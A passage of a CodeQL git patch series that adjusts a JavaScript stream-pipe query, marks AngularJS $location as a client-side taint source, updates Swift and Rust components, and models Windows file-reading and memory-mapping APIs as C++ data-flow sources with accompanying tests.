javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 4f5dc1f735d5..913957b4c688 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -45,7 +45,8 @@ API::Node getNonStreamApi() { exists(string moduleName | moduleName .regexpMatch([ - "rxjs(|/.*)", "@strapi(|/.*)", "highland(|/.*)", "execa(|/.*)", "arktype(|/.*)" + "rxjs(|/.*)", "@strapi(|/.*)", "highland(|/.*)", "execa(|/.*)", "arktype(|/.*)", + "@ngrx(|/.*)", "@datorama(|/.*)", "@angular(|/.*)", "react.*", "@langchain(|/.*)", ]) and result = API::moduleImport(moduleName) ) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js new file mode 100644 index 000000000000..94906ee46b68 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js @@ -0,0 +1,29 @@ +import React, { Suspense } from "react"; +import { renderToPipeableStream } from "react-dom/server"; +import { PassThrough } from "stream"; +import { act } from "react-dom/test-utils"; + + +const writable = new PassThrough(); +let output = ""; +writable.on("data", chunk => { output += chunk.toString(); }); +writable.on("end", () => { /* stream ended */ }); + +let errors = []; +let shellErrors = []; + +await act(async () => { + renderToPipeableStream( + }> + + , + { + onError(err) { + errors.push(err.message); + }, + onShellError(err) { + shellErrors.push(err.message); + } + } + ).pipe(writable); +}); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts new file mode 100644 index 000000000000..3203dafedf79 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts @@ -0,0 +1,15 @@ +import { RunnablePassthrough, RunnableSequence } from "@langchain/core/runnables"; + +const fakeRetriever = RunnablePassthrough.from((_q: string) => + Promise.resolve([{ pageContent: "Hello world." }]) +); + +const formatDocumentsAsString = (documents: { pageContent: string }[]) =>documents.map((d) => d.pageContent).join("\n\n"); + +const chain = RunnableSequence.from([ + { + context: fakeRetriever.pipe(formatDocumentsAsString), + question: new RunnablePassthrough(), + }, + "", +]); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts new file mode 100644 index 000000000000..c72d8447bb59 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts @@ -0,0 +1,17 @@ +import { Component } from '@angular/core'; +import { Store, select } from '@ngrx/store'; +import { Observable } from 'rxjs'; + +@Component({ + selector: 'minimal-example', + template: ` +
    {{ value$ | async }}
    + ` +}) +export class MinimalExampleComponent { + value$: Observable; + + constructor(private store: Store) { + this.value$ = this.store.pipe(select('someSlice')); + } +} From 076e4a49d54e302be7da9916197a07485e4e0067 Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 27 May 2025 09:47:43 +0200 Subject: [PATCH 392/535] JS: Mark AngularJS $location as client-side remote flow source --- .../javascript/frameworks/AngularJS/AngularJSCore.qll | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll b/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll index a85a0a7813ce..248a88e3d1cc 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/AngularJS/AngularJSCore.qll @@ -550,20 +550,25 @@ class DirectiveTargetName extends string { * * See https://docs.angularjs.org/api/ng/service/$location for details. */ -private class LocationFlowSource extends RemoteFlowSource instanceof DataFlow::MethodCallNode { +private class LocationFlowSource extends ClientSideRemoteFlowSource instanceof DataFlow::MethodCallNode +{ + private ClientSideRemoteFlowKind kind; + LocationFlowSource() { exists(ServiceReference service, string m, int n | service.getName() = "$location" and this = service.getAMethodCall(m) and n = super.getNumArgument() | - m = "search" and n < 2 + m = "search" and n < 2 and kind.isQuery() or - m = "hash" and n = 0 + m = "hash" and n = 0 and kind.isFragment() ) } override string getSourceType() { result = "$location" } + + override ClientSideRemoteFlowKind getKind() { result = kind } } /** From 1e64f50c3c77f6a59651033b0462d496fb83a5f5 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 27 May 2025 08:51:00 +0100 Subject: [PATCH 393/535] Apply suggestions from code review Co-authored-by: Simon Friis Vindum --- rust/ql/lib/codeql/rust/elements/DerefExpr.qll | 2 +- .../lib/codeql/rust/security/AccessInvalidPointerExtensions.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/DerefExpr.qll b/rust/ql/lib/codeql/rust/elements/DerefExpr.qll index 28302a934117..0eb54d4930da 100644 --- a/rust/ql/lib/codeql/rust/elements/DerefExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/DerefExpr.qll @@ -6,7 +6,7 @@ private import codeql.rust.elements.PrefixExpr private import codeql.rust.elements.Operation /** - * A dereference expression, `*`. + * A dereference expression, the prefix operator `*`. */ final class DerefExpr extends PrefixExpr, Operation { DerefExpr() { this.getOperatorName() = "*" } diff --git a/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll b/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll index 36abfb62d541..444db0142090 100644 --- a/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/AccessInvalidPointerExtensions.qll @@ -50,7 +50,7 @@ module AccessInvalidPointer { * A pointer access using the unary `*` operator. */ private class DereferenceSink extends Sink { - DereferenceSink() { exists(DerefExpr p | p.getExpr() = this.asExpr().getExpr()) } + DereferenceSink() { any(DerefExpr p).getExpr() = this.asExpr().getExpr() } } /** From 329d451d4db8e31a54bcad818433d10a7dfb035d Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 27 May 2025 10:53:57 +0200 Subject: [PATCH 394/535] Swift: Add change note --- swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md diff --git a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md b/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md new file mode 100644 index 000000000000..19101e5b615b --- /dev/null +++ b/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md @@ -0,0 +1,5 @@ + +--- +category: minorAnalysis +--- +* Updated to allow analysis of Swift 6.1.1. From dc7958071a8cae3d521d4e0fe697e8b1c2b55df7 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 27 May 2025 10:54:48 +0200 Subject: [PATCH 395/535] Rust: re-enable attribute macro expansion in library mode --- rust/extractor/src/translate/base.rs | 4 ---- 1 file changed, 4 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index daf80fa45173..d40dd01acd1e 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -734,10 +734,6 @@ impl<'a> Translator<'a> { } pub(crate) fn emit_item_expansion(&mut self, node: &ast::Item, label: Label) { - // TODO: remove this after fixing exponential expansion on libraries like funty-2.0.0 - if self.source_kind == SourceKind::Library { - return; - } (|| { let semantics = self.semantics?; let file = semantics.hir_file_for(node.syntax()); From f4636b9ef2bb822323fb9b9781f18a622e43c7ee Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Tue, 27 May 2025 10:56:52 +0200 Subject: [PATCH 396/535] Swift: Update Swift resources --- swift/third_party/load.bzl | 4 ---- swift/third_party/resources/resource-dir-linux.zip | 4 ++-- swift/third_party/resources/resource-dir-macos.zip | 4 ++-- swift/third_party/resources/swift-prebuilt-linux.tar.zst | 4 ++-- swift/third_party/resources/swift-prebuilt-macos.tar.zst | 4 ++-- 5 files changed, 8 insertions(+), 12 deletions(-) diff --git a/swift/third_party/load.bzl b/swift/third_party/load.bzl index ad05960e7f66..d19345a18803 100644 --- a/swift/third_party/load.bzl +++ b/swift/third_party/load.bzl @@ -5,10 +5,6 @@ load("//misc/bazel:lfs.bzl", "lfs_archive", "lfs_files") _override = { # these are used to test new artifacts. Must be empty before merging to main - "swift-prebuilt-macOS-swift-6.1.1-RELEASE-108.tar.zst": "2aaf6e7083c27a561d7212f88b3e15cbeb2bdf1d2363d310227d278937a4c2c9", - "swift-prebuilt-Linux-swift-6.1.1-RELEASE-108.tar.zst": "31cba2387c7e1ce4e73743935b0db65ea69fccf5c07bd2b392fd6815f5dffca5", - "resource-dir-macOS-swift-6.1.1-RELEASE-115.zip": "84e34d6af45883fe6d0103c2f36bbff3069ac068e671cb62d0d01d16e087362d", - "resource-dir-Linux-swift-6.1.1-RELEASE-115.zip": "1e00a730a93b85a5ba478590218e1f769792ec56501977cc72d941101c5c3657", } _staging_url = "https://github.com/dsp-testing/codeql-swift-artifacts/releases/download/staging-{}/{}" diff --git a/swift/third_party/resources/resource-dir-linux.zip b/swift/third_party/resources/resource-dir-linux.zip index 8697b7c7afc5..e09b73863e59 100644 --- a/swift/third_party/resources/resource-dir-linux.zip +++ b/swift/third_party/resources/resource-dir-linux.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:874932f93c4ca6269ae3a9e9c841916b3fd88f65f5018eec8777a52dde56901d -size 293646067 +oid sha256:1e00a730a93b85a5ba478590218e1f769792ec56501977cc72d941101c5c3657 +size 293644020 diff --git a/swift/third_party/resources/resource-dir-macos.zip b/swift/third_party/resources/resource-dir-macos.zip index 95ffbc2e02ff..aaacc64a9e80 100644 --- a/swift/third_party/resources/resource-dir-macos.zip +++ b/swift/third_party/resources/resource-dir-macos.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:12bef89163486ac24d9ca00a5cc6ef3851b633e6fa63b7493c518e4d426e036c -size 595744464 +oid sha256:84e34d6af45883fe6d0103c2f36bbff3069ac068e671cb62d0d01d16e087362d +size 595760699 diff --git a/swift/third_party/resources/swift-prebuilt-linux.tar.zst b/swift/third_party/resources/swift-prebuilt-linux.tar.zst index 03490187210c..206ea6adb4de 100644 --- a/swift/third_party/resources/swift-prebuilt-linux.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-linux.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d01b90bccfec46995bdf98a59339bd94e64257da99b4963148869c4a108bc2a9 -size 124360007 +oid sha256:31cba2387c7e1ce4e73743935b0db65ea69fccf5c07bd2b392fd6815f5dffca5 +size 124428345 diff --git a/swift/third_party/resources/swift-prebuilt-macos.tar.zst b/swift/third_party/resources/swift-prebuilt-macos.tar.zst index 692a8b05dc3b..bcbc7aaf4129 100644 --- a/swift/third_party/resources/swift-prebuilt-macos.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-macos.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:4dcfe858b5519327c9b0c99735b47fe75c7a5090793d917de1ba6e42795aa86d -size 105011965 +oid sha256:2aaf6e7083c27a561d7212f88b3e15cbeb2bdf1d2363d310227d278937a4c2c9 +size 104357336 From 5d8bb1b5b014e0408bc2e4c796b94772537256d2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 23 May 2025 20:50:16 +0100 Subject: [PATCH 397/535] C++: Add more Windows sources. --- cpp/ql/lib/ext/Windows.model.yml | 10 + .../dataflow/external-models/flow.expected | 86 +++++- .../dataflow/external-models/sources.expected | 10 + .../dataflow/external-models/windows.cpp | 265 ++++++++++++++++++ 4 files changed, 357 insertions(+), 14 deletions(-) diff --git a/cpp/ql/lib/ext/Windows.model.yml b/cpp/ql/lib/ext/Windows.model.yml index acac5f5fbf87..89127459f961 100644 --- a/cpp/ql/lib/ext/Windows.model.yml +++ b/cpp/ql/lib/ext/Windows.model.yml @@ -11,6 +11,16 @@ extensions: - ["", "", False, "GetEnvironmentStringsW", "", "", "ReturnValue[*]", "local", "manual"] - ["", "", False, "GetEnvironmentVariableA", "", "", "Argument[*1]", "local", "manual"] - ["", "", False, "GetEnvironmentVariableW", "", "", "Argument[*1]", "local", "manual"] + - ["", "", False, "ReadFile", "", "", "Argument[*1]", "local", "manual"] + - ["", "", False, "ReadFileEx", "", "", "Argument[*1]", "local", "manual"] + - ["", "", False, "MapViewOfFile", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFile2", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFile3", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFile3FromApp", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFileEx", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFileFromApp", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "MapViewOfFileNuma2", "", "", "ReturnValue[*]", "local", "manual"] + - ["", "", False, "NtReadFile", "", "", "Argument[*5]", "local", "manual"] - addsTo: pack: codeql/cpp-all extensible: summaryModel diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index 9992ca5a7213..c8babcb14548 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -10,44 +10,68 @@ edges | asio_streams.cpp:100:44:100:62 | call to buffer | asio_streams.cpp:103:29:103:39 | *send_buffer | provenance | Sink:MaD:6 | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | provenance | | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | provenance | MaD:10 | -| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23497 | -| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23498 | -| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23499 | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23507 | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23508 | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23509 | | test.cpp:7:47:7:52 | value2 | test.cpp:7:64:7:69 | value2 | provenance | | | test.cpp:7:64:7:69 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | provenance | | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23495 | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23496 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23505 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23506 | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:17:24:17:24 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:21:27:21:27 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:25:35:25:35 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:32:41:32:41 | x | provenance | | | test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | | -| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23496 | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23506 | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | provenance | | -| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23497 | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23507 | | test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | | -| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23496 | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23506 | | test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | provenance | | -| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23498 | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23508 | | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | | -| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23496 | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23506 | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | provenance | | -| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23499 | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23509 | | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | -| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23496 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23506 | | test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | provenance | | | test.cpp:32:41:32:41 | x | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | -| windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | provenance | MaD:331 | +| windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | provenance | MaD:341 | | windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:11:15:11:29 | *call to GetCommandLineA | provenance | Src:MaD:325 | | windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:13:8:13:11 | * ... | provenance | | | windows.cpp:11:15:11:29 | *call to GetCommandLineA | windows.cpp:16:36:16:38 | *cmd | provenance | | | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | provenance | | | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | windows.cpp:19:8:19:15 | * ... | provenance | | | windows.cpp:16:36:16:38 | *cmd | windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | provenance | | -| windows.cpp:16:36:16:38 | *cmd | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | provenance | MaD:331 | +| windows.cpp:16:36:16:38 | *cmd | windows.cpp:16:17:16:34 | **call to CommandLineToArgvA | provenance | MaD:341 | | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | provenance | Src:MaD:327 | | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:25:10:25:13 | * ... | provenance | | | windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | windows.cpp:30:10:30:13 | * ... | provenance | Src:MaD:329 | +| windows.cpp:145:35:145:40 | ReadFile output argument | windows.cpp:147:10:147:16 | * ... | provenance | Src:MaD:331 | +| windows.cpp:154:23:154:28 | ReadFileEx output argument | windows.cpp:156:10:156:16 | * ... | provenance | Src:MaD:332 | +| windows.cpp:168:84:168:89 | NtReadFile output argument | windows.cpp:170:10:170:16 | * ... | provenance | Src:MaD:340 | +| windows.cpp:245:23:245:35 | *call to MapViewOfFile | windows.cpp:245:23:245:35 | *call to MapViewOfFile | provenance | Src:MaD:333 | +| windows.cpp:245:23:245:35 | *call to MapViewOfFile | windows.cpp:246:20:246:52 | *pMapView | provenance | | +| windows.cpp:246:20:246:52 | *pMapView | windows.cpp:248:10:248:16 | * ... | provenance | | +| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | provenance | Src:MaD:334 | +| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | windows.cpp:253:20:253:52 | *pMapView | provenance | | +| windows.cpp:253:20:253:52 | *pMapView | windows.cpp:255:10:255:16 | * ... | provenance | | +| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | provenance | Src:MaD:335 | +| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | windows.cpp:262:20:262:52 | *pMapView | provenance | | +| windows.cpp:262:20:262:52 | *pMapView | windows.cpp:264:10:264:16 | * ... | provenance | | +| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | provenance | Src:MaD:336 | +| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | windows.cpp:271:20:271:52 | *pMapView | provenance | | +| windows.cpp:271:20:271:52 | *pMapView | windows.cpp:273:10:273:16 | * ... | provenance | | +| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | provenance | Src:MaD:337 | +| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | windows.cpp:278:20:278:52 | *pMapView | provenance | | +| windows.cpp:278:20:278:52 | *pMapView | windows.cpp:280:10:280:16 | * ... | provenance | | +| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | provenance | Src:MaD:338 | +| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | windows.cpp:285:20:285:52 | *pMapView | provenance | | +| windows.cpp:285:20:285:52 | *pMapView | windows.cpp:287:10:287:16 | * ... | provenance | | +| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | provenance | Src:MaD:339 | +| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | windows.cpp:292:20:292:52 | *pMapView | provenance | | +| windows.cpp:292:20:292:52 | *pMapView | windows.cpp:294:10:294:16 | * ... | provenance | | nodes | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | semmle.label | [summary param] *0 in buffer | | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | semmle.label | [summary] to write: ReturnValue in buffer | @@ -103,6 +127,40 @@ nodes | windows.cpp:25:10:25:13 | * ... | semmle.label | * ... | | windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | semmle.label | GetEnvironmentVariableA output argument | | windows.cpp:30:10:30:13 | * ... | semmle.label | * ... | +| windows.cpp:145:35:145:40 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:147:10:147:16 | * ... | semmle.label | * ... | +| windows.cpp:154:23:154:28 | ReadFileEx output argument | semmle.label | ReadFileEx output argument | +| windows.cpp:156:10:156:16 | * ... | semmle.label | * ... | +| windows.cpp:168:84:168:89 | NtReadFile output argument | semmle.label | NtReadFile output argument | +| windows.cpp:170:10:170:16 | * ... | semmle.label | * ... | +| windows.cpp:245:23:245:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | +| windows.cpp:245:23:245:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | +| windows.cpp:246:20:246:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:248:10:248:16 | * ... | semmle.label | * ... | +| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | +| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | +| windows.cpp:253:20:253:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:255:10:255:16 | * ... | semmle.label | * ... | +| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | +| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | +| windows.cpp:262:20:262:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:264:10:264:16 | * ... | semmle.label | * ... | +| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | +| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | +| windows.cpp:271:20:271:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:273:10:273:16 | * ... | semmle.label | * ... | +| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | +| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | +| windows.cpp:278:20:278:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:280:10:280:16 | * ... | semmle.label | * ... | +| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | +| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | +| windows.cpp:285:20:285:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:287:10:287:16 | * ... | semmle.label | * ... | +| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | +| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | +| windows.cpp:292:20:292:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:294:10:294:16 | * ... | semmle.label | * ... | subpaths | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | asio_streams.cpp:100:44:100:62 | call to buffer | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected index 1c21bf851219..f8d2da8a0023 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected @@ -3,3 +3,13 @@ | windows.cpp:11:15:11:29 | *call to GetCommandLineA | local | | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | local | | windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | local | +| windows.cpp:145:35:145:40 | ReadFile output argument | local | +| windows.cpp:154:23:154:28 | ReadFileEx output argument | local | +| windows.cpp:168:84:168:89 | NtReadFile output argument | local | +| windows.cpp:245:23:245:35 | *call to MapViewOfFile | local | +| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | local | +| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | local | +| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | local | +| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | local | +| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | local | +| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | local | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp index dfa055fa1e88..382f534dde88 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp +++ b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp @@ -29,3 +29,268 @@ void getEnvironment() { sink(buf); sink(*buf); // $ ir } + +using HANDLE = void*; +using DWORD = unsigned long; +using LPVOID = void*; +using LPDWORD = unsigned long*; +using PVOID = void*; +using ULONG_PTR = unsigned long*; +using SIZE_T = decltype(sizeof(0)); +typedef struct _OVERLAPPED { + ULONG_PTR Internal; + ULONG_PTR InternalHigh; + union { + struct { + DWORD Offset; + DWORD 